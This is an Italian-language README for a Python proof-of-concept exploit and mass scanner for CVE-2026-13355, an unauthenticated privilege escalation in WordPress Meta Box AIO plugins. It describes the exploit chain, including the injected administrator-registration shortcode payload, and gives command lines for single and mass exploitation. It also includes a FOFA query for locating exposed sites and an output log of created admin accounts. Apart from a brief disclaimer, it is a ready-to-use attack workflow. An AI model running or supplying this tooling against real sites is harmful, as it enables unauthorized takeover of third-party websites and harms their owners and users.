
Scanner PoC ed exploit in Python per CVE-2026-13355, un'escalation di privilegi admin non autenticata nei plugin WordPress Meta Box AIO, con scansione di massa FOFA.
Scanner e exploit proof-of-concept in Python 3 per CVE-2026-13355 nel bundle WordPress Meta Box AIO (e nelle estensioni correlate MB Frontend Submission / MB User Profile).
| Piattaforma | Plugin WordPress |
| Componente | Meta Box AIO |
| Affetto | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| Corretto in | Meta Box AIO 3.12.0+ (autorizzazione di Form::process()) |
| CVSS | 9.8 Critico |
| Autenticazione | Non autenticato |
| CWE | CWE-269 — Gestione impropria dei privilegi |
| Ricercatore | h0xilo (Wordfence) |
Difetti concatenati in due estensioni incluse nel bundle consentono la creazione non autenticata di un account amministratore:
mbfs) — rwmb_frontend_field_object_id sovrascrive il target del form senza autenticazione; Form::process() omette user_can_edit(), quindi gli attaccanti possono eseguire wp_update_post() e sovrascrivere post_content su post/pagine arbitrari.mbup) — Gli attributi iniettati dello shortcode [mb_user_profile_register role="administrator" auto_login="true"] vengono considerati attendibili senza validazione del ruolo.Importante: La catena di exploit richiede un form mbfs (frontend submission) pubblico, non form mbup accessibili solo dopo il login. Molti risultati FOFA espongono solo l'interfaccia di login/registrazione mbup — questi vengono contrassegnati come plugin_mbup_only, non sfruttabili tramite questa catena.
pip install -r requirements.txtpip install -r requirements.txt
# Singolo target — check (flusso live nel terminale per impostazione predefinita)
python poc.py -u https://target.example --mode check
# Check massivo (una riga per target a meno di --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Singolo target — exploit (richiede URL del form mbfs + ID del post)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Exploit massivo dall'output del check
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Query di esempio:
body="/wp-content/plugins/meta-box-aio/"
Normalizzare un export CSV di FOFA:
python fofa_to_list.py -i fofa_export.csv
# scrive list.txt + CSV normalizzato (solo locale, in gitignore)
python poc.py --list list.txt --mode check --threads 20
Usare --vuln-list exploited.txt nelle esecuzioni di exploit in modo che gli hit del check in hits.txt non vengano sovrascritti.
status del checkpost_content tramite un form mbfs con ?rwmb_frontend_field_object_id=<id>.mbfs di contatto/newsletter spesso non hanno un campo post_content reale; la sovrascrittura potrebbe comunque fallire nella pratica..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Le liste di scansione locali e gli artefatti di esecuzione (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sono in .gitignore e non devono essere committati.
Solo per test di sicurezza autorizzati e scopi educativi. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.
| Opzione | Descrizione |
|---|
-u, --url | URL di base singolo |
--list | Lista di URL, CSV normalizzato FOFA (colonna url), o candidates.jsonl |
--mode | check o exploit |
--form-url | Pagina con [mb_frontend_form ...] / mbfs-form |
--object-id | ID del post/pagina per rwmb_frontend_field_object_id |
--paths | Percorsi aggiuntivi da scansionare per form frontend |
--username, --email, --password | Credenziali di registrazione (exploit) |
--shortcode | Payload iniettato in post_content (shortcode di registrazione admin predefinito) |
--verify | Conferma tramite /wp-admin/ o wp-login.php dopo la registrazione |
--flow | Trasmetti una riga per target nelle esecuzioni massive (predefinito con --list) |
--no-flow | Solo riepilogo di avanzamento |
--quiet, -q | Output console minimo |
--threads, -j | Concorrenza massiva (predefinito 15) |
--output | Log JSONL (predefinito cve_2026_13355_results.jsonl) |
--vuln-list | Righe di hit / exploit in testo (predefinito hits.txt / usare exploited.txt per l'exploit) |
--candidates-list | JSONL di metadati del check (predefinito candidates.jsonl) |
| File | Modalità | Contenuto |
|---|
cve_2026_13355_results.jsonl | entrambe | JSON completo per target |
hits.txt | check | URL con candidate_mbfs |
candidates.jsonl | check | form_url, object_id, indizi di versione |
exploited.txt | exploit | url|user|email|pass|oid=… |
| Stato | Significato |
|---|
candidate_mbfs | Plugin presente + form MB Frontend Submission trovato (exploit possibile) |
plugin_mbup_only | Solo form di login/registrazione di User Profile — non questa catena CVE |
plugin_no_frontend_forms | Fingerprint del plugin, nessun form frontend rwmb scoperto |
patched | Versione superiore all'intervallo affetto (quando leggibile) |
no_plugin | Meta Box AIO / estensioni non rilevate |